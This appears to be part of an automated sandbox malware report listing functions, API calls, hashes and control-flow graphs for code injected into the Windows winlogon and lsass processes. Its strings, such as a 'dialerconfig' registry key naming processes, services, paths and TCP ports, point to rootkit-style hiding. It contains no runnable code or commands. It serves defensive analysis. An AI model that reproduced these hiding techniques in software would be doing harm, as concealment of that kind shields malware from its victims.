                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: FileWrite$ConsoleErrorLastOutput
                                                                • String ID:
                                                                • API String ID: 2718003287-0
                                                                • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                                                • Instruction ID: 5187ed22ee1aa0ccaa690343eb8763e497484eb7c5724e3e0ad55031fafd28ef
                                                                • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                                                • Instruction Fuzzy Hash: A1D1D0B2B14A8089E711CFF9D88839C3BB1F3547D8F948256CE9D97BA9DA74C906C740
                                                                Function 000002D0165F2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: ConsoleErrorLastMode
                                                                • String ID:
                                                                • API String ID: 953036326-0
                                                                • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                                                • Instruction ID: fc307cff70842e2266af54710cb554fca6c11a8db0236a9223c07c1d4ecee361
                                                                • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                                                • Instruction Fuzzy Hash: AA91AFB260069095F7609FE5DCC83AD2BA4B744BC8F94858BDE4E57AA5DB34CC86C700
                                                                Function 000002D0165E253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: FileType
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3081899298-91387939
                                                                • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                                                • Instruction ID: 8ed4e21bebd3e23e3000fdb066cfaa34740bf68bfd650f15aaa82489475c79c3
                                                                • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                                                • Instruction Fuzzy Hash: 6871AF762007C18AEF649EA59CC83AAB794F389BC4F944127DD0E53BA9DE36CF458700
                                                                Function 000002D016589E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CallTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3163161869-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: 7d9756844898b90560aff503cb0a52449b1d73c23fde83014149b18977801b46
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: 36614A32600B848AEB24DFAAD88439D7BB4F744B88F444216EF4D17BA9DB38D955C740
                                                                Function 000002D0165E2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: FileType
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3081899298-91387939
                                                                • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                                                • Instruction ID: 4e8424fe214da5e11d23322d54be976519fd80502f98cc10b4f99395f6fd04db
                                                                • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                                                • Instruction Fuzzy Hash: B651A2326047C185EF649BAAA9DC3AAF751F385780FC58127DD9D07B6DDA3ACE048740
                                                                Function 000002D0165F26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: ErrorFileLastWrite
                                                                • String ID: U
                                                                • API String ID: 442123175-4171548499
                                                                • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction ID: 34cadd197f94b95d681e4a8cd0f756d6a2bd82b0c53d0e2054fc3c1200778bca
                                                                • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction Fuzzy Hash: 19419572715BC085DB209FA5E8883AAB7A1F7987D4F908026EE4D877A4DB7CC945C740
                                                                Function 000002D0165E94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFileHeaderRaise
                                                                • String ID: csm
                                                                • API String ID: 2573137834-1018135373
                                                                • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                                                • Instruction ID: 6af6caf33eed429f26f2400f1c1a474b57e550817839aeb2e9cd6687076bf096
                                                                • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                                                • Instruction Fuzzy Hash: 82113032214B8082EB618F25F844359B7E5FB88B94F584222DECC07768DF3DC951C700
                                                                Function 000002D016587356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: ierarchy Descriptor'$riptor at (
                                                                • API String ID: 592178966-758928094
                                                                • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction ID: a87dbb86b00b2b98d5e7ae00f565f44d8c78c7afccc986630b2b213103a98e21
                                                                • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction Fuzzy Hash: D9E086A1640B84D0EF018F62EC8439833A4DB58B68FC89123DD5C47321FA38D5F9C300
                                                                Function 000002D0165873B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: Locator'$riptor at (
                                                                • API String ID: 592178966-4215709766
                                                                • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction ID: dffd4c35c552f18d438efc623f6b9ab54137c7cb9bea290096256bc086aaf240
                                                                • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction Fuzzy Hash: AFE086A1600B84C0EF018F61E8802987364E758B58FC89123CA4C47321EA38D5E5C300
                                                                Function 000002D0165E1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID:
                                                                • API String ID: 756756679-0
                                                                • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                                                • Instruction ID: 6801c8294921cadce8a74c671636f0fe5ff9b85a627fac1833d6bc37b2bfe6e2
                                                                • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                                                • Instruction Fuzzy Hash: 7F118F25701B8481EF54DBA6E888769B3A1FB89FC1F98406ADE4D87775DE39D942C300
                                                                Function 000002D0165E1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1617791916-0
                                                                • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                                                • Instruction ID: 68d956744345cf7861370da0470b2e65133afa0ec658b7fe96f4140d664497f0
                                                                • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                                                • Instruction Fuzzy Hash: 57E06535A01A5486EB088FA2DC4C74A36E1FB89F06F88C024C90D07361DF7EC899CBA0

                                                                Execution Graph

                                                                Execution Coverage:1.1%
                                                                Dynamic/Decrypted Code Coverage:0%
                                                                Signature Coverage:0%
                                                                Total number of Nodes:124
                                                                Total number of Limit Nodes:13
                                                                execution_graph 15153 2d6f151202c 15154 2d6f151205d 15153->15154 15155 2d6f1512173 15154->15155 15161 2d6f1512081 15154->15161 15162 2d6f151213e 15154->15162 15156 2d6f1512178 15155->15156 15158 2d6f15121e7 15155->15158 15171 2d6f1512f04 GetProcessHeap 15156->15171 15160 2d6f1512f04 9 API calls 15158->15160 15158->15162 15159 2d6f15120b9 StrCmpNIW 15159->15161 15160->15162 15161->15159 15161->15162 15164 2d6f1511bf4 15161->15164 15162->15162 15165 2d6f1511c1b GetProcessHeap 15164->15165 15166 2d6f1511c8f 15164->15166 15168 2d6f1511c41 __free_lconv_mon 15165->15168 15166->15161 15167 2d6f1511c77 GetProcessHeap HeapFree 15167->15166 15168->15166 15168->15167 15177 2d6f151152c 15168->15177 15176 2d6f1512f40 __free_lconv_mon 15171->15176 15172 2d6f1513015 GetProcessHeap HeapFree 15172->15162 15173 2d6f1513010 15173->15172 15174 2d6f1512fa2 StrCmpNIW 15174->15176 15175 2d6f1511bf4 5 API calls 15175->15176 15176->15172 15176->15173 15176->15174 15176->15175 15178 2d6f151157c 15177->15178 15181 2d6f1511546 15177->15181 15178->15167 15179 2d6f151155d StrCmpIW 15179->15181 15180 2d6f1511565 StrCmpW 15180->15181 15181->15178 15181->15179 15181->15180 15182 2d6f151253c 15183 2d6f15125bb 15182->15183 15184 2d6f151261d GetFileType 15183->15184 15196 2d6f15127aa 15183->15196 15185 2d6f151262b StrCpyW 15184->15185 15186 2d6f1512641 15184->15186 15187 2d6f1512650 15185->15187 15198 2d6f1511a40 GetFinalPathNameByHandleW 15186->15198 15190 2d6f15126ff 15187->15190 15191 2d6f151265a 15187->15191 15192 2d6f1513844 StrCmpNIW 15190->15192 15195 2d6f1513044 4 API calls 15190->15195 15190->15196 15197 2d6f1511cac 2 API calls 15190->15197 15191->15196 15203 2d6f1513844 15191->15203 15206 2d6f1513044 StrCmpIW 15191->15206 15210 2d6f1511cac 15191->15210 15192->15190 15195->15190 15197->15190 15199 2d6f1511aa9 15198->15199 15200 2d6f1511a6a StrCmpNIW 15198->15200 15199->15187 15200->15199 15201 2d6f1511a84 lstrlenW 15200->15201 15201->15199 15202 2d6f1511a96 StrCpyW 15201->15202 15202->15199 15204 2d6f1513851 StrCmpNIW 15203->15204 15205 2d6f1513866 15203->15205 15204->15205 15205->15191 15207 2d6f1513076 StrCpyW StrCatW 15206->15207 15208 2d6f151308d PathCombineW 15206->15208 15209 2d6f1513096 15207->15209 15208->15209 15209->15191 15211 2d6f1511cc3 15210->15211 15212 2d6f1511ccc 15210->15212 15213 2d6f151152c 2 API calls 15211->15213 15212->15191 15213->15212 15214 2d6f1511abc 15219 2d6f1511628 GetProcessHeap 15214->15219 15216 2d6f1511ad2 Sleep SleepEx 15217 2d6f1511acb 15216->15217 15217->15216 15218 2d6f1511598 StrCmpIW StrCmpW 15217->15218 15218->15217 15220 2d6f1511648 __free_lconv_mon 15219->15220 15264 2d6f1511268 GetProcessHeap 15220->15264 15222 2d6f1511650 15223 2d6f1511268 2 API calls 15222->15223 15224 2d6f1511661 15223->15224 15225 2d6f1511268 2 API calls 15224->15225 15226 2d6f151166a 15225->15226 15227 2d6f1511268 2 API calls 15226->15227 15228 2d6f1511673 15227->15228 15229 2d6f151168e RegOpenKeyExW 15228->15229 15230 2d6f15118a6 15229->15230 15231 2d6f15116c0 RegOpenKeyExW 15229->15231 15230->15217 15232 2d6f15116e9 15231->15232 15233 2d6f15116ff RegOpenKeyExW 15231->15233 15275 2d6f15112bc RegQueryInfoKeyW 15232->15275 15235 2d6f151173a RegOpenKeyExW 15233->15235 15236 2d6f1511723 15233->15236 15239 2d6f151175e 15235->15239 15240 2d6f1511775 RegOpenKeyExW 15235->15240 15268 2d6f151104c RegQueryInfoKeyW 15236->15268 15244 2d6f15112bc 13 API calls 15239->15244 15241 2d6f1511799 15240->15241 15242 2d6f15117b0 RegOpenKeyExW 15240->15242 15246 2d6f15112bc 13 API calls 15241->15246 15247 2d6f15117eb RegOpenKeyExW 15242->15247 15248 2d6f15117d4 15242->15248 15245 2d6f151176b RegCloseKey 15244->15245 15245->15240 15249 2d6f15117a6 RegCloseKey 15246->15249 15251 2d6f1511826 RegOpenKeyExW 15247->15251 15252 2d6f151180f 15247->15252 15250 2d6f15112bc 13 API calls 15248->15250 15249->15242 15253 2d6f15117e1 RegCloseKey 15250->15253 15255 2d6f151184a 15251->15255 15256 2d6f1511861 RegOpenKeyExW 15251->15256 15254 2d6f151104c 5 API calls 15252->15254 15253->15247 15259 2d6f151181c RegCloseKey 15254->15259 15260 2d6f151104c 5 API calls 15255->15260 15257 2d6f151189c RegCloseKey 15256->15257 15258 2d6f1511885 15256->15258 15257->15230 15262 2d6f151104c 5 API calls 15258->15262 15259->15251 15261 2d6f1511857 RegCloseKey 15260->15261 15261->15256 15263 2d6f1511892 RegCloseKey 15262->15263 15263->15257 15286 2d6f1526168 15264->15286 15266 2d6f1511283 GetProcessHeap 15267 2d6f15112ae __free_lconv_mon 15266->15267 15267->15222 15269 2d6f15110bf 15268->15269 15270 2d6f15111b5 RegCloseKey 15268->15270 15269->15270 15271 2d6f15110cf RegEnumValueW 15269->15271 15270->15235 15273 2d6f1511125 __free_lconv_mon 15271->15273 15272 2d6f151114e GetProcessHeap 15272->15273 15273->15270 15273->15271 15273->15272 15274 2d6f151116e GetProcessHeap HeapFree 15273->15274 15274->15273 15276 2d6f1511327 GetProcessHeap 15275->15276 15277 2d6f151148a RegCloseKey 15275->15277 15283 2d6f151133e __free_lconv_mon 15276->15283 15277->15233 15278 2d6f1511476 GetProcessHeap HeapFree 15278->15277 15279 2d6f1511352 RegEnumValueW 15279->15283 15280 2d6f151152c 2 API calls 15280->15283 15281 2d6f151141e lstrlenW GetProcessHeap 15281->15283 15282 2d6f15113d3 GetProcessHeap 15282->15283 15283->15278 15283->15279 15283->15280 15283->15281 15283->15282 15284 2d6f15113f3 GetProcessHeap HeapFree 15283->15284 15285 2d6f1511443 StrCpyW 15283->15285 15284->15281 15285->15283 15287 2d6f1526177 15286->15287 15287->15287 15288 2d6f14e273c 15289 2d6f14e276a 15288->15289 15290 2d6f14e2858 LoadLibraryA 15289->15290 15291 2d6f14e28d4 15289->15291 15290->15289

                                                                Executed Functions

                                                                Function 000002D6F151253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 58 2d6f151253c-2d6f15125c0 call 2d6f1532cc0 61 2d6f15125c6-2d6f15125c9 58->61 62 2d6f15127d8-2d6f15127fb 58->62 61->62 63 2d6f15125cf-2d6f15125dd 61->63 63->62 64 2d6f15125e3-2d6f1512629 call 2d6f1518c60 * 3 GetFileType 63->64 71 2d6f151262b-2d6f151263f StrCpyW 64->71 72 2d6f1512641-2d6f151264b call 2d6f1511a40 64->72 73 2d6f1512650-2d6f1512654 71->73 72->73 75 2d6f151265a-2d6f1512673 call 2d6f15130a8 call 2d6f1513844 73->75 76 2d6f15126ff-2d6f1512704 73->76 88 2d6f15126aa-2d6f15126f4 call 2d6f1532cc0 75->88 89 2d6f1512675-2d6f15126a4 call 2d6f15130a8 call 2d6f1513044 call 2d6f1511cac 75->89 78 2d6f1512707-2d6f151270c 76->78 80 2d6f1512729 78->80 81 2d6f151270e-2d6f1512711 78->81 84 2d6f151272c-2d6f1512745 call 2d6f15130a8 call 2d6f1513844 80->84 81->80 83 2d6f1512713-2d6f1512716 81->83 83->80 86 2d6f1512718-2d6f151271b 83->86 99 2d6f1512787-2d6f1512789 84->99 100 2d6f1512747-2d6f1512776 call 2d6f15130a8 call 2d6f1513044 call 2d6f1511cac 84->100 86->80 90 2d6f151271d-2d6f1512720 86->90 88->62 101 2d6f15126fa 88->101 89->62 89->88 90->80 94 2d6f1512722-2d6f1512727 90->94 94->80 94->84 104 2d6f151278b-2d6f15127a5 99->104 105 2d6f15127aa-2d6f15127ad 99->105 100->99 122 2d6f1512778-2d6f1512783 100->122 101->75 104->78 108 2d6f15127b7-2d6f15127ba 105->108 109 2d6f15127af-2d6f15127b5 105->109 112 2d6f15127bc-2d6f15127bf 108->112 113 2d6f15127d5 108->113 109->62 112->113 116 2d6f15127c1-2d6f15127c4 112->116 113->62 116->113 117 2d6f15127c6-2d6f15127c9 116->117 117->113 119 2d6f15127cb-2d6f15127ce 117->119 119->113 121 2d6f15127d0-2d6f15127d3 119->121 121->62 121->113 122->62 123 2d6f1512785 122->123 123->78
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: FileType
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3081899298-91387939
                                                                • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                                                • Instruction ID: fa04f75c9475a18510419c108b79fce0653dad0fa003f1e7f796e61fbc6322b7
                                                                • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                                                • Instruction Fuzzy Hash: A07170A6200F858AE6669F25B85C3AA6794F3857D4F64002BDD0F67F89DF39CE458700
                                                                Function 000002D6F151202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 124 2d6f151202c-2d6f1512057 call 2d6f1532d00 126 2d6f151205d-2d6f1512066 124->126 127 2d6f1512068-2d6f151206c 126->127 128 2d6f151206f-2d6f1512072 126->128 127->128 129 2d6f1512078-2d6f151207b 128->129 130 2d6f1512223-2d6f1512243 128->130 131 2d6f1512081-2d6f1512093 129->131 132 2d6f1512173-2d6f1512176 129->132 131->130 133 2d6f1512099-2d6f15120a5 131->133 134 2d6f15121e7-2d6f15121ea 132->134 135 2d6f1512178-2d6f1512192 call 2d6f1512f04 132->135 137 2d6f15120a7-2d6f15120b7 133->137 138 2d6f15120d3-2d6f15120de call 2d6f1511bbc 133->138 134->130 139 2d6f15121ec-2d6f15121ff call 2d6f1512f04 134->139 135->130 144 2d6f1512198-2d6f15121ae 135->144 137->138 141 2d6f15120b9-2d6f15120d1 StrCmpNIW 137->141 145 2d6f15120ff-2d6f1512111 138->145 152 2d6f15120e0-2d6f15120f8 call 2d6f1511bf4 138->152 139->130 151 2d6f1512201-2d6f1512209 139->151 141->138 141->145 144->130 150 2d6f15121b0-2d6f15121cc 144->150 148 2d6f1512121-2d6f1512123 145->148 149 2d6f1512113-2d6f1512115 145->149 155 2d6f151212a 148->155 156 2d6f1512125-2d6f1512128 148->156 153 2d6f1512117-2d6f151211a 149->153 154 2d6f151211c-2d6f151211f 149->154 157 2d6f15121d0-2d6f15121e3 150->157 151->130 158 2d6f151220b-2d6f1512213 151->158 152->145 166 2d6f15120fa-2d6f15120fd 152->166 160 2d6f151212d-2d6f1512130 153->160 154->160 155->160 156->160 157->157 161 2d6f15121e5 157->161 162 2d6f1512216-2d6f1512221 158->162 164 2d6f151213e-2d6f1512141 160->164 165 2d6f1512132-2d6f1512138 160->165 161->130 162->130 162->162 164->130 167 2d6f1512147-2d6f151214b 164->167 165->133 165->164 166->160 168 2d6f151214d-2d6f1512150 167->168 169 2d6f1512162-2d6f151216e 167->169 168->130 170 2d6f1512156-2d6f151215b 168->170 169->130 170->167 171 2d6f151215d 170->171 171->130
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID: S$dialer
                                                                • API String ID: 756756679-3873981283
                                                                • Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
                                                                • Instruction ID: 7a83d85bf80e11694d2d7db4162bf47d6d0c4d20143003a03d639ac9e943c438
                                                                • Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
                                                                • Instruction Fuzzy Hash: 6D518BB6A10E248AEB62CF26F84C6AD63A5F7047C4F25951ADE1E22E85DB39CC51C740
                                                                Function 000002D6F1511628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                                                • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                                                • API String ID: 106492572-2879589442
                                                                • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction ID: 1e1e47678fa7c4b781087d3b5f8b15c943a24ad0d42d65cabc9df2231e8d4def
                                                                • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction Fuzzy Hash: 1B71A5A6710E918AEB119F76F89CA9923B4FB84BC8F405112DE4E57F69EF2CC844C744
                                                                Function 000002D6F1511A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: FinalHandleNamePathlstrlen
                                                                • String ID: \\?\
                                                                • API String ID: 2719912262-4282027825
                                                                • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                                                • Instruction ID: 1a29fbed29bbccc1987992930e6102033b0a423cd1e4e3151e2afb20eff6506f
                                                                • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                                                • Instruction Fuzzy Hash: 14F03CA3304A8196EB608F21F8DC75967A0F758BC8F944022DA4E46D58DB7CCE8DCB00
                                                                Function 000002D6F151328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                                                • String ID:
                                                                • API String ID: 1683269324-0
                                                                • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction ID: 25535357102f4341e1be78c6643d6b7c1b19e4a9101efaa7cc3453e24cb777c9
                                                                • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction Fuzzy Hash: 7811C0F1610E808EFBA2AF61F86D75922A4A7543E4F40412B990F92E90EF7CCC48C204
                                                                Function 000002D6F1511ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                  • Part of subcall function 000002D6F1511628: GetProcessHeap.KERNEL32 ref: 000002D6F1511633
                                                                  • Part of subcall function 000002D6F1511628: HeapAlloc.KERNEL32 ref: 000002D6F1511642
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116B2
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116DF
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15116F9
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511719
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511734
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511754
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F151176F
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F151178F
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15117AA
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15117CA
                                                                • Sleep.KERNEL32 ref: 000002D6F1511AD7
                                                                • SleepEx.KERNEL32 ref: 000002D6F1511ADD
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15117E5
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511805
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511820
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511840
                                                                  • Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F151185B
                                                                  • Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F151187B
